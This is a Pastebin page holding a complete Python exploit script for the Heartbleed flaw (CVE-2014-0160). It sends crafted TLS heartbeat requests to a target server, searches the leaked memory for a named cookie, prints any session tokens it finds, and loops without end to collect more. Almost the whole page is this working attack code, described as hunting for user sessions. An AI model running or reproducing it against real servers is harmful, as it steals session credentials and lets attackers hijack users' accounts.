SHARE
TWEET

ssltest.py (Version #2)

a guest Apr 10th, 2014 251 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. # Modified by Samiux (on April 11 2014, Version 2) which is based on the code of Michael Davis.
  4.  
  5. # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
  6. # Michael Davis (mike.philip.davis@gmail.com)
  7.  
  8. # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  9.  
  10. # The author disclaims copyright to this source code.
  11.  
  12. import select
  13. import sys
  14. import string
  15. import struct
  16. import socket
  17. import time
  18. from optparse import OptionParser
  19.  
  20. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  21. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  22. options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for (default: session)')
  23. options.add_option('-l', '--length', type='int', default=1024, help='Length of the cookie (default: 1024)')
  24. options.add_option('-t', '--tls', type='int', default=2, help='0=SSLv3, 1=TLSv1, 2=TLSv1.1, 3=TLSv1.2 (default: 2)')
  25.  
  26. def h2bin(x):
  27.     return x.replace(' ', '').replace('\n', '').decode('hex')
  28.  
  29. hello = h2bin('''
  30. 16 03 02 00  dc 01 00 00 d8 03 02 53
  31. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  32. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  33. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  34. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  35. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  36. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  37. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  38. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  39. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  40. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  41. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  42. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  43. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  44. 00 0f 00 01 01
  45. ''')
  46.  
  47. # SSLv3
  48. hb0 = h2bin('''
  49. 18 03 00 00 03
  50. 01 40 00
  51. ''')
  52.  
  53. # TLSv1
  54. hb1 = h2bin('''
  55. 18 03 01 00 03
  56. 01 40 00
  57. ''')
  58.  
  59. # TLSv1.1
  60. hb2 = h2bin('''
  61. 18 03 02 00 03
  62. 01 40 00
  63. ''')
  64.  
  65. # TLS1.2
  66. hb3 = h2bin('''
  67. 18 03 03 00 03
  68. 01 40 00
  69. ''')
  70.  
  71.  
  72. class HeartBleeder(object):
  73.  
  74.     server_response = None
  75.     socket = None
  76.     found_sessions = set()
  77.     hostname = ''
  78.     port = 0
  79.     cookie = ''
  80.     cookie_length = 0
  81.     tls = 0
  82.  
  83.     def __init__(self, hostname='', port=0, cookie='', cookie_length=0, tls=0):
  84.         self.hostname = hostname
  85.         self.cookie = cookie
  86.         self.port = port
  87.         self.cookie_length = cookie_length
  88.         self.tls = tls
  89.  
  90.     def connect(self):
  91.         """
  92.         Connects to the remote server.
  93.         """
  94.         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  95.         sys.stdout.flush()
  96.         self.socket.connect((self.hostname, self.port))
  97.         sys.stdout.flush()
  98.         self.socket.send(hello)
  99.         sys.stdout.flush()
  100.  
  101.     def rcv_response(self):
  102.         while True:
  103.             _type, version, payload = self.rcv_message()
  104.             if _type is None:
  105.                 print 'Server closed connection without sending Server Hello.'
  106.                 return
  107.             # Look for server hello done message.
  108.             if _type == 22 and ord(payload[0]) == 0x0E:
  109.                 break
  110.  
  111.     def rcv_message(self):
  112.  
  113.         record_header = self.rcv_all(5)
  114.         if record_header is None:
  115.             print 'Unexpected EOF receiving record header - server closed connection'
  116.             return None, None, None
  117.         _type, version, line = struct.unpack('>BHH', record_header)
  118.         payload = self.rcv_all(line, 10)
  119.         if payload is None:
  120.             print 'Unexpected EOF receiving record payload - server closed connection'
  121.             return None, None, None
  122.         return _type, version, payload
  123.  
  124.     def rcv_all(self, length, timeout=5):
  125.         endtime = time.time() + timeout
  126.         rdata = ''
  127.         remain = length
  128.         while remain > 0:
  129.             rtime = endtime - time.time()
  130.             if rtime < 0:
  131.                 return None
  132.             r, w, e = select.select([self.socket], [], [], 5)
  133.             if self.socket in r:
  134.                 data = self.socket.recv(remain)
  135.                 # EOF?
  136.                 if not data:
  137.                     return None
  138.                 rdata += data
  139.                 remain -= len(data)
  140.         return rdata
  141.  
  142.     def try_heartbeat(self, hb):
  143.         self.socket.send(hb)
  144.         while True:
  145.             _type, version, self.payload = self.rcv_message()
  146.             if _type is None:
  147.                 print 'No heartbeat response received, server likely not vulnerable'
  148.                 return False
  149.  
  150.             if _type == 24:
  151.                 # print 'Received heartbeat response:'
  152.                 self.parse_response()
  153.                 if len(self.payload) > 3:
  154.                     pass
  155.                 else:
  156.                     print 'Server processed malformed heartbeat, but did not return any extra data.'
  157.                 return True
  158.  
  159.             if _type == 21:
  160.                 print 'Received alert:'
  161.                 self.hexdump(self.payload)
  162.                 print 'Server returned error, likely not vulnerable'
  163.                 return False
  164.  
  165.     def parse_response(self):
  166.         """
  167.         Parses the response from the server for a session id.
  168.         """
  169.         ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
  170.         index = string.find(ascii, self.cookie)
  171.         if index >= 0:
  172.             info = ascii[index:index + self.cookie_length]
  173.             session = info.split(' ')[0]
  174.             session = string.replace(session, ';', '')
  175.             if session not in self.found_sessions:
  176.                 self.found_sessions.add(session)
  177.                 print session
  178.  
  179.     def hexdump(self, payload):
  180.         """
  181.         Prints out a hexdump in the event that server returns an error.
  182.         """
  183.         for b in xrange(0, len(payload), 16):
  184.             line = [c for c in payload[b:b + 16]]
  185.             hxdat = ' '.join('%02X' % ord(c) for c in line)
  186.             pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
  187.             print '  %04x: %-48s %s' % (b, hxdat, pdat)
  188.         print
  189.  
  190.     def scan(self, hb):
  191.         self.connect()
  192.         self.rcv_response()
  193.         self.try_heartbeat(hb)
  194.  
  195.  
  196. def main():
  197.     opts, args = options.parse_args()
  198.     if len(args) < 1:
  199.         options.print_help()
  200.         return
  201.  
  202.     if opts.tls == 0:
  203.         hb = hb0
  204.     elif opts.tls == 1:
  205.         hb = hb1
  206.     elif opts.tls == 2:
  207.         hb = hb2
  208.     elif opts.tls == 3:
  209.         hb = hb3
  210.     else:
  211.         hb = hb2
  212.    
  213.  
  214.     print 'Port   :', opts.port
  215.     print 'Cookie :', opts.cookie
  216.     print 'Length :', opts.length
  217.     print 'TLS    :', opts.tls
  218.     print ''
  219.  
  220.     while True:
  221.         heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length)
  222.         heartbeat.scan(hb)
  223.  
  224.  
  225. if __name__ == '__main__':
  226.     main()
RAW Paste Data
Challenge yourself this year...
Learn something new in 2017
Top